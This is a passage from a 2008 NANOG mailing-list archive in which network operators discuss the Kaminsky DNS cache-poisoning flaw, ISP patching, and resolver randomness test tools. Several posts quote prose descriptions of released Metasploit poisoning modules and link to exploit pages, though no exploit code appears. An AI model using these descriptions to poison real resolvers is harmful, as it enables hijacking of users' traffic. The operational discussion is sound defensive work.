that observation is off, sorry. -M< From vixie at isc.org Thu Jul 24 12:14:05 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 17:14:05 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: Your message of "Thu, 24 Jul 2008 13:06:51 -0400." <0807241305300.267001804928587@clifden.donelan.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> Message-ID: <46280.1216919645@nsa.vix.com> > "Refuses to patch" sounds likes FUD. go ask 'em, and let us all know what they say. kaminsky tried to get everybody a month, but because of ptacek's sloppiness it ended up being 13 days. if any dns engineer at any internet carrier goes home to sleep or see their families before they patch, then they're insane. yes, i know the dangers of rolling patches out too quickly. better than most folks, since i've been on the sending side of patches that caused problems, and i've learned caution from the pain i've inadvertantly caused in that way. in spite of that caution i am telling you all, patch, and patch now. if you have firewall or NAT configs that prevent it, then redo your topology -- NOW. and make sure your NAT isn't derandomizing your port numbers on the way out. and if you have time after that, write a letter to your congressman about the importance of DNSSEC, which sucks green weenies, and is a decade late, and which has no business model, but which the internet absolutely dearly needs. -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From ml at t-b-o-h.net Thu Jul 24 12:14:47 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H) Date: Thu, 24 Jul 2008 13:14:47 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <4888B139.8020703@cox.net> from "Laurence F. Sheldon, Jr." at Jul 24, 2008 11:43:37 AM Message-ID: <200807241714.m6OHElvC076891@vjofn.tucs-beachin-obx-house.com> > > Jorge Amodio wrote: > > > /etc/hosts rulez !!! :-) > > Wonder if SRI wstill has the files..... > UNOFFICIAL copy from 15-Apr-94 : http://ftp.univie.ac.at/netinfo/netinfo/hosts.txt Tuc/TBOH From David_Hankins at isc.org Thu Jul 24 12:15:58 2008 From: David_Hankins at isc.org (David W. Hankins) Date: Thu, 24 Jul 2008 10:15:58 -0700 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241456.m6OEuXLV002716@aurora.sol.net> References: <27023.1216909329@nsa.vix.com> <200807241456.m6OEuXLV002716@aurora.sol.net> Message-ID: <20080724171557.GA8466@isc.org> On Thu, Jul 24, 2008 at 09:56:32AM -0500, Joe Greco wrote: > MY move? Fine. You asked for it. Had I your clout, I would have used > this opportunity to convince all these new agencies that the security of > the Internet was at risk, and that getting past the "who holds the keys" > for the root zone should be dealt with at a later date. Get the root > signed and secured. Get the GTLD's signed and secured. Give people the > tools and techniques to sign and secure their zones. Focus on banks, I admit readily that I am not one of the 'dns guys' around here, but I have been watching with some interest for a few years now, and have more or less become convinced that the players involved are willing to tolerate, downplay, or even flat out ignore a great deal. Except losing their own relevance. This is cherished above all. The only times I have seen these parties move is when it has been realistically threatened. So in brandishing this world event as like a holy sword of fire to smite some nefarious beaurocracy, there is no danger its strike will drain any relevance. The band aid fix is there. Their relevance is saved along with all of our businesses. There is still plenty of time to argue about who gets the keys. Who gets nearly the entire pot of this magical relevance ambrosia? It wouldn't work. Paul's booming voice would serve only to make him hoarse. The strike only lands for effect if you withold the band aid fix, which simply can not be done in this case either. I'm only really aware of two ways to reduce the relevance of the root and its children (I did say I am not a DNS guy). You can join one of the alternate roots, which I do not recommend. Or you can sign your zones using a DLV registry. If DLV registries became 'de rigeur', it would effectively halve the root and by extension the GTLDs' relevance. I do not believe they will permit this to come to pass. Provided they did, we would win anyway, as signing zones itself would have become the norm. -- David W. Hankins "If you don't do it right the first time, Software Engineer you'll just have to do it again." Internet Systems Consortium, Inc. -- Jack T. Hankins -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From wessels at packet-pushers.com Thu Jul 24 12:17:16 2008 From: wessels at packet-pushers.com (Duane Wessels) Date: Thu, 24 Jul 2008 10:17:16 -0700 (PDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> Message-ID: <20080724101550.W86804@life-gone-hazy.com> On Thu, 24 Jul 2008, Steve Tornio said: > doxpara.com tests to lock up my iPhone, or I would use that checker to verify > the iPhone DNS. Anyone have a link to a decent test that I could run on the > iPhone? Give this one a try: http://entropy.dns-oarc.net/test/ From jmamodio at gmail.com Thu Jul 24 12:22:48 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 24 Jul 2008 12:22:48 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <202705b0807240938s3e53be44o1a68dbda2ef011f6@mail.gmail.com> References: <200807241624.m6OGO7Qt011161@aurora.sol.net> <202705b0807240938s3e53be44o1a68dbda2ef011f6@mail.gmail.com> Message-ID: <202705b0807241022n4a5b4660q5e4ed16ea67d61b3@mail.gmail.com> > > > He,he,nice comment. The issue is that with todays html crap and embedded > images on mails "click" is no longer required, just include a malicious tag > forcing your resolver to go to bad boy's NS to resolve the URL and you are > up in biz. > > Can't stop laughing ... its a rainy boring day in south TX, just thinking that MSFT is probably working on a security patch for Vista that will ask you every few seconds "Are you sure you want to resolve this domain name?" .... Just a bit of humor before my resolver is poisoned ... Cheers Jorge From swtornio at gmail.com Thu Jul 24 12:29:57 2008 From: swtornio at gmail.com (Steve Tornio) Date: Thu, 24 Jul 2008 12:29:57 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <20080724101550.W86804@life-gone-hazy.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> Message-ID: <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote: >> xpara.com tests to lock up my iPhone, or I would use that checker >> to verify the iPhone DNS. Anyone have a link to a decent test that >> I could run on the iPhone? > > Give this one a try: > > http://entropy.dns-oarc.net/test/ > In this test, my iPhone reports: 209.183.33.23 Source Port Randomness: GREAT 209.183.33.23 Transaction ID Randomness: GREAT I encourage anyone else concerned with their providers to actually test them instead of taking anyone's word for it. Steve From jra at baylink.com Thu Jul 24 12:46:01 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 24 Jul 2008 13:46:01 -0400 Subject: SBCglobal routing loop. In-Reply-To: References: <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> Message-ID: <20080724174601.GB359@cgi.jachomes.com> On Sat, Jul 19, 2008 at 08:26:33PM +0100, michael.dillon at bt.com wrote: > Sounds like he's used to used IRC, not mailing lists. There used to > be an IRC channel where a lot of NANOG folks hung out. Anyone care to > publicize the channel name and which IRC network carries it? I was invited to it once, but do not have it handy now; it is by-invite-only, and it is *not* #nanog on any network. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From jra at baylink.com Thu Jul 24 12:46:01 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 24 Jul 2008 13:46:01 -0400 Subject: SBCglobal routing loop. In-Reply-To: References: <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> Message-ID: <20080724174601.GB359@cgi.jachomes.com> On Sat, Jul 19, 2008 at 08:26:33PM +0100, michael.dillon at bt.com wrote: > Sounds like he's used to used IRC, not mailing lists. There used to > be an IRC channel where a lot of NANOG folks hung out. Anyone care to > publicize the channel name and which IRC network carries it? I was invited to it once, but do not have it handy now; it is by-invite-only, and it is *not* #nanog on any network. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From ml at t-b-o-h.net Thu Jul 24 12:54:23 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Thu, 24 Jul 2008 13:54:23 -0400 (EDT) Subject: 2nd Exploit for DNS Cache Poisoning - RELEASED Message-ID: <200807241754.m6OHsNZI036562@himinbjorg.tucs-beachin-obx-house.com> Hi, Not sure if anyone has seen yet, but there is a 2nd exploit being circulated. I just picked it up on metasploits SVN trunk.... The first was called "baliwicked_host", and the description was : This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single malicious host entry into the target nameserver by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and due to the additional hostname entry being within bailiwick constraints of the original request the malicious host entry will get cached. The new one is called "baliwicked_domain" and its described as : This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target domains nameserver entries in a vulnerable DNS cache server. This attack works by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and the nameserver entries for the target domain will be replaced by the server specified in the NEWDNS option of this exploit. Tuc/TBOH From sean at donelan.com Thu Jul 24 12:55:27 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 24 Jul 2008 13:55:27 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <46280.1216919645@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> Message-ID: <0807241350300.27068758783491@clifden.donelan.com> On Thu, 24 Jul 2008, Paul Vixie wrote: >> "Refuses to patch" sounds likes FUD. > > go ask 'em, and let us all know what they say. I believe at&t has already said they are testing the patch and will deploy it as soon as their testing is completed. Other than you, I have not heard anyone in at&t say they are refusing to patch. Doing my own tests, at&t appears to be testing the patch on DNS servers in Tulsa and St. Louis. They may be testing on other DNS servers in other regions too. The at&t anycast DNS ip addresses go to different servers in different locations, so you may get different results using the same IP address in your DNS client. But if you want to continue spreading the FUD that at&t is refusing to patch, I can't stop you. From vixie at isc.org Thu Jul 24 13:05:21 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 18:05:21 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: Your message of "Thu, 24 Jul 2008 13:55:27 -0400." <0807241350300.27068758783491@clifden.donelan.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <0807241350300.27068758783491@clifden.donelan.com> Message-ID: <52063.1216922721@nsa.vix.com> > > go ask 'em, and let us all know what they say. > > I believe at&t has already said they are testing the patch and will deploy > it as soon as their testing is completed. Other than you, I have not > heard anyone in at&t say they are refusing to patch. i read at&t write that this was a rehash of a previously known issue. i heard at&t tell a customer that they were in no hurry to patch. > Doing my own tests, at&t appears to be testing the patch on DNS > servers in Tulsa and St. Louis. They may be testing on other DNS > servers in other regions too. that's good news. > The at&t anycast DNS ip addresses go to different servers in different > locations, so you may get different results using the same IP address > in your DNS client. > > But if you want to continue spreading the FUD that at&t is refusing to > patch, I can't stop you. hopefully at&t will issue a clarifying statement, indicating that they know now that this is not a rehash of last year's update, and that they will have those iphones covered by july 25 even though they were noticed before july 8. by the way we just found an abuse@ mailbox protected by challenge-response (there's a notification effort underway to let folks know which of their open resolvers are unpatched. i don't know what this means anymore.) -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From ka at pacific.net Thu Jul 24 13:24:46 2008 From: ka at pacific.net (Ken A) Date: Thu, 24 Jul 2008 13:24:46 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <46280.1216919645@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> Message-ID: <4888C8EE.1020907@pacific.net> Paul Vixie wrote: >> "Refuses to patch" sounds likes FUD. > > go ask 'em, and let us all know what they say. AT&T dsl line. #dig +short porttest.dns-oarc.net TXT @68.94.157.1 z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net. "65.68.49.31 is POOR: 26 queries in 1.4 seconds from 1 ports with std dev 0.00" Ken -- Ken Anderson Pacific.Net From ka at pacific.net Thu Jul 24 13:39:40 2008 From: ka at pacific.net (Ken A) Date: Thu, 24 Jul 2008 13:39:40 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> Message-ID: <4888CC6C.4020403@pacific.net> Steve Tornio wrote: > > On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote: > >>> xpara.com tests to lock up my iPhone, or I would use that checker to >>> verify the iPhone DNS. Anyone have a link to a decent test that I >>> could run on the iPhone? >> >> Give this one a try: >> >> http://entropy.dns-oarc.net/test/ >> > > In this test, my iPhone reports: > > 209.183.33.23 Source Port Randomness: GREAT > 209.183.33.23 Transaction ID Randomness: GREAT > > I encourage anyone else concerned with their providers to actually test > them instead of taking anyone's word for it. > > Steve > on AT&T you might want to run it more than once.. Mine shows POOR 1 out of 5 times. :-( Hope they finish patching sooooon! Ken -- Ken Anderson Pacific.Net From scott.berkman at reignmaker.net Thu Jul 24 13:45:05 2008 From: scott.berkman at reignmaker.net (Scott Berkman) Date: Thu, 24 Jul 2008 14:45:05 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <4888CC6C.4020403@pacific.net> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> <4888CC6C.4020403@pacific.net> Message-ID: <01af01c8edbd$60571220$21053660$@berkman@reignmaker.net> Is it just me or is the test page below down now? Or maybe some poisoned the NS record for dns-oarc.net and sent it to nowhere to stop testing! (J/K since I can get to the rest of the page fine). -Scott -----Original Message----- From: Ken A [mailto:ka at pacific.net] Sent: Thursday, July 24, 2008 2:40 PM To: Steve Tornio Cc: nanog at merit.edu Subject: Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? Steve Tornio wrote: > > On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote: > >>> xpara.com tests to lock up my iPhone, or I would use that checker to >>> verify the iPhone DNS. Anyone have a link to a decent test that I >>> could run on the iPhone? >> >> Give this one a try: >> >> http://entropy.dns-oarc.net/test/ >> > > In this test, my iPhone reports: > > 209.183.33.23 Source Port Randomness: GREAT > 209.183.33.23 Transaction ID Randomness: GREAT > > I encourage anyone else concerned with their providers to actually test > them instead of taking anyone's word for it. > > Steve > on AT&T you might want to run it more than once.. Mine shows POOR 1 out of 5 times. :-( Hope they finish patching sooooon! Ken -- Ken Anderson Pacific.Net From fergdawg at netzero.net Thu Jul 24 13:56:22 2008 From: fergdawg at netzero.net (Paul Ferguson) Date: Thu, 24 Jul 2008 18:56:22 GMT Subject: 2nd Exploit for DNS Cache Poisoning - RELEASED Message-ID: <20080724.115622.4708.1@webmail19.vgs.untd.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- "Tuc at T-B-O-H.NET" wrote: >Not sure if anyone has seen yet, but there is a 2nd >exploit being circulated. I just picked it up on metasploits >SVN trunk.... I haven't seen that one yet, but I just ran across this: http://www.milw0rm.com/exploits/6123 - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIiNBFq1pz9mNUZTMRAozhAKD+IkD/HGywNFttPI6ilKreNGP0UQCeKZ98 u76UOCvKXD9+zvdlSR8S/oc= =N5am -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/ From tmaufer at gmail.com Thu Jul 24 13:59:49 2008 From: tmaufer at gmail.com (Thomas Maufer) Date: Thu, 24 Jul 2008 11:59:49 -0700 Subject: Independent Testing for Network Hardware In-Reply-To: References: <003701c8e2d8$ae243180$0a6c9480$@com> <70D072392E56884193E3D2DE09C097A9F373@pascal.zaphodb.org> Message-ID: I apologize for neglecting to mention the excellent test labs I've worked with in Europe, including EANTC (in Germany) and West Coast Labs (in Wales, I believe). Both are highly reputable and have access to lots of test equipment (and they know how to use it!). On Mon, Jul 21, 2008 at 11:13 PM, Thomas Maufer wrote: > Isocore is good, but there are many others to choose from: Network Test, > ExtremeLabs, Miercom, Core Competence, Opus One, in no particular order. I > can personally recommend all of those (I have no experience with Tolly so I > can't recommend them). > > If you are really interested in application performance, a lab is probably > a better choice than a hardware purchase since they can help you interpret > the results, especially if you'll be like most test equipment users (having > test equipment used more than 10% of the time is rare). The results you'll > get from Ixia's and Spirent's load testing tools are pretty cut and > dried...very straightforward to interpret but depending on your application > maybe relatively meaningless. For application performance, there are many > tools you could consider, many of which are very specialized and thus don't > have broad applicability. > > I'd recommend talking to any of the labs above and see what kind of testing > they would use in a given situation before you run out and buy some test > equipment. Good luck! > > > > > > > On Mon, Jul 21, 2008 at 10:09 AM, Tomas L. Byrnes > wrote: > >> For independent testing, Kevin Tolly's been at it a long time, and has >> shown himself to be fair. >> >> http://www.tolly.com/ >> >> >> >> > -----Original Message----- >> > From: Sean Hafeez [mailto:sah.list at gmail.com] >> > Sent: Friday, July 18, 2008 2:07 PM >> > To: Frank P. Troy >> > Cc: rpapneja at isocore.com; nanog at merit.edu >> > Subject: Re: Independent Testing for Network Hardware >> > >> > IXIA makes a nice product depending on what you want to do. I >> > have one here with some 10G line cards. >> > >> > -Sean >> > >> > On Jul 10, 2008, at 3:02 PM, Frank P. Troy wrote: >> > >> > > I can recommend Isocore http://www.isocore.com/ (the same >> > folks that >> > > run the MPLS conference). Talk to Rajiv Papneja >> > > [rpapneja at isocore.com]. >> > > >> > > Regards, >> > > Frank >> > > >> > > ------------------------------------ >> > > Frank P. Troy >> > > 703-396-8700 >> > > frank at troy-networks.com >> > > ------------------------------------- >> > > >> > > >> > > -----Original Message----- >> > > From: Brian Knoll (TT) [mailto:Brian.Knoll at tradingtechnologies.com] >> > > Sent: Thursday, July 10, 2008 11:16 AM >> > > To: nanog at merit.edu >> > > Subject: Independent Testing for Network Hardware >> > > >> > > Can anyone recommend a reliable independent testing company >> > that tests >> > > network hardware performance? >> > > >> > > >> > > >> > > We are considering buying testing hardware (right now we >> > are looking >> > > at Spirent TestCenter) and I wanted to see if there were other >> > > options... >> > > >> > > >> > > >> > > Brian Knoll >> > > >> > > >> > > >> > > >> > > >> > > >> > > >> > >> > >> > >> >> > From sean at donelan.com Thu Jul 24 14:01:18 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 24 Jul 2008 15:01:18 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <52063.1216922721@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <0807241350300.27068758783491@clifden.donelan.com> <52063.1216922721@nsa.vix.com> Message-ID: <0807241458000.273951804928587@clifden.donelan.com> On Thu, 24 Jul 2008, Paul Vixie wrote: >> I believe at&t has already said they are testing the patch and will deploy >> it as soon as their testing is completed. Other than you, I have not >> heard anyone in at&t say they are refusing to patch. > > i read at&t write that this was a rehash of a previously known issue. > > i heard at&t tell a customer that they were in no hurry to patch. If the customer believes AT&T reputation is more reliable than Paul Vixie's reputation (not saying they are right or wrong, just if); point out at&t said they are testing the patch and plan to deploy it as soon as their testing is finished. If the customer believes at&t, the customer should also at least be testing the patch NOW and should deploy it WHEN they finish testing it. That is not the same as "refusing to patch." Test Patch->Deploy Patch. From hank at efes.iucc.ac.il Thu Jul 24 14:15:33 2008 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Thu, 24 Jul 2008 22:15:33 +0300 (IDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <20080724101550.W86804@life-gone-hazy.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> Message-ID: On Thu, 24 Jul 2008, Duane Wessels wrote: Suggestion - add to the bottom of the results page a link to the CERT page: http://www.kb.cert.org/vuls/id/800113 -Hank > Give this one a try: > > http://entropy.dns-oarc.net/test/ From rubensk at gmail.com Thu Jul 24 14:15:35 2008 From: rubensk at gmail.com (Rubens Kuhl Jr.) Date: Thu, 24 Jul 2008 16:15:35 -0300 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <-5389756597213777821@unknownmsgid> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> <4888CC6C.4020403@pacific.net> <-5389756597213777821@unknownmsgid> Message-ID: <6bb5f5b10807241215w777fcbd3j46fd70161d302af6@mail.gmail.com> Some broadband providers here in .br seems to be blocking access to the dns-oarc.net test zone (but not to the portal site); most thought it was intended behavior by those providers (hiding instead of patching), but you are right, someone might have corrupted the test zone itself, which aleviates the pressure on the provider to patch it which in turn keeps the exploits working for more time. Rubens On Thu, Jul 24, 2008 at 3:45 PM, Scott Berkman wrote: > Is it just me or is the test page below down now? > > Or maybe some poisoned the NS record for dns-oarc.net and sent it to > nowhere to stop testing! (J/K since I can get to the rest of the page > fine). > > -Scott > > -----Original Message----- > From: Ken A [mailto:ka at pacific.net] > Sent: Thursday, July 24, 2008 2:40 PM > To: Steve Tornio > Cc: nanog at merit.edu > Subject: Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally > leaked? > > Steve Tornio wrote: >> >> On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote: >> >>>> xpara.com tests to lock up my iPhone, or I would use that checker to >>>> verify the iPhone DNS. Anyone have a link to a decent test that I >>>> could run on the iPhone? >>> >>> Give this one a try: >>> >>> http://entropy.dns-oarc.net/test/ >>> >> >> In this test, my iPhone reports: >> >> 209.183.33.23 Source Port Randomness: GREAT >> 209.183.33.23 Transaction ID Randomness: GREAT >> >> I encourage anyone else concerned with their providers to actually test >> them instead of taking anyone's word for it. >> >> Steve >> > > on AT&T you might want to run it more than once.. Mine shows POOR 1 out > of 5 times. :-( > Hope they finish patching sooooon! > Ken > > -- > Ken Anderson > Pacific.Net > > > > From streiner at cluebyfour.org Thu Jul 24 14:21:33 2008 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Thu, 24 Jul 2008 15:21:33 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <01af01c8edbd$60571220$21053660$@berkman@reignmaker.net> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> <4888CC6C.4020403@pacific.net> <01af01c8edbd$60571220$21053660$@berkman@reignmaker.net> Message-ID: On Thu, 24 Jul 2008, Scott Berkman wrote: > Is it just me or is the test page below down now? > > Or maybe some poisoned the NS record for dns-oarc.net and sent it to > nowhere to stop testing! (J/K since I can get to the rest of the page > fine). Might be the Slashdot effect, in a manner of speaking, since the NANOG community is quite large. jms From ml at t-b-o-h.net Thu Jul 24 14:46:24 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Thu, 24 Jul 2008 15:46:24 -0400 (EDT) Subject: 2nd Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080724.115622.4708.1@webmail19.vgs.untd.com> Message-ID: <200807241946.m6OJkOQW037915@himinbjorg.tucs-beachin-obx-house.com> > - -- "Tuc at T-B-O-H.NET" wrote: > > >Not sure if anyone has seen yet, but there is a 2nd > >exploit being circulated. I just picked it up on metasploits > >SVN trunk.... > > I haven't seen that one yet, but I just ran across this: > > http://www.milw0rm.com/exploits/6123 > > - - ferg > > Sorry, block from the new one : ===============/======================================================== Exploit ID: CAU-EX-2008-0003 Release Date: 2008.07.23 Title: bailiwicked_domain.rb Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains Tested: BIND 9.4.1-9.4.2 Attributes: Remote, Poison, Resolver, Metasploit Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt Author/Email: I)ruid H D Moore ===============/======================================================== Tuc/TBOH From jbates at brightok.net Thu Jul 24 14:52:40 2008 From: jbates at brightok.net (Jack Bates) Date: Thu, 24 Jul 2008 14:52:40 -0500 Subject: Question: 2nd Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807241754.m6OHsNZI036562@himinbjorg.tucs-beachin-obx-house.com> References: <200807241754.m6OHsNZI036562@himinbjorg.tucs-beachin-obx-house.com> Message-ID: <4888DD88.3080100@brightok.net> Tuc at T-B-O-H.NET wrote: > The new one is called "baliwicked_domain" and its described > as : > > This exploit attacks a fairly ubiquitous flaw in DNS implementations which > Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target > domains nameserver entries in a vulnerable DNS cache server. This attack works > by sending random hostname queries to the target DNS server coupled with spoofed > replies to those queries from the authoritative nameservers for that domain. > Eventually, a guessed ID will match, the spoofed packet will get accepted, and > the nameserver entries for the target domain will be replaced by the server > specified in the NEWDNS option of this exploit. All this sounds good and dandy, but I'm not sure the guessing is the problem. Why is a resolver replacing an existing cached entry with a new entry? If the entry changes, at most, the resolver should be removing it from cache. In this regards, the exploit would not only have to hit it once, but twice, and they'd have to manage the exploit *BEFORE* the official server returned it's own authority records for caching. While I agree the source port is a good thing (and reduces poisoning issues even when an authoritative server isn't responding), I question if it can actually succeed at beating the authoritative domain's NS reliably, and if it is overwriting a cache, if the more exploitable issue is the cache overwrite versus staling the entry from cache early and letting the next query request from the authoritative server. I'm just curious. It doesn't make much sense. Jack Bates From marcus.sachs at verizon.com Thu Jul 24 14:54:23 2008 From: marcus.sachs at verizon.com (marcus.sachs at verizon.com) Date: Thu, 24 Jul 2008 15:54:23 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241714.m6OHElvC076891@vjofn.tucs-beachin-obx-house.com> References: <4888B139.8020703@cox.net> from "Laurence F. Sheldon, Jr." at Jul 24, 2008 11:43:37 AM <200807241714.m6OHElvC076891@vjofn.tucs-beachin-obx-house.com> Message-ID: Here's some older ones: http://pdp-10.trailing-edge.com/cgi-bin/searchbyname?name=hosts.txt Prior to departing SRI last year I spent a bunch of time trying to find some of the old SRI-NIC records. It appears that they were all cleaned out once the contract was closed and the Internet was handed over to Network Solutions. I think that a lot of old records still exist in personal file cabinets and garages around Menlo Park but nothing "official" is on the campus of SRI. Marc -----Original Message----- From: Tuc at T-B-O-H [mailto:ml at t-b-o-h.net] > > Jorge Amodio wrote: > > > /etc/hosts rulez !!! :-) > > Wonder if SRI wstill has the files..... > UNOFFICIAL copy from 15-Apr-94 : http://ftp.univie.ac.at/netinfo/netinfo/hosts.txt Tuc/TBOH From gds at gds.best.vwh.net Thu Jul 24 15:14:38 2008 From: gds at gds.best.vwh.net (Greg Skinner) Date: Thu, 24 Jul 2008 20:14:38 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: ; from marcus.sachs@verizon.com on Thu, Jul 24, 2008 at 03:54:23PM -0400 References: <4888B139.8020703@cox.net> <200807241714.m6OHElvC076891@vjofn.tucs-beachin-obx-house.com> Message-ID: <20080724201438.A4107@gds.best.vwh.net> There was a discussion on the 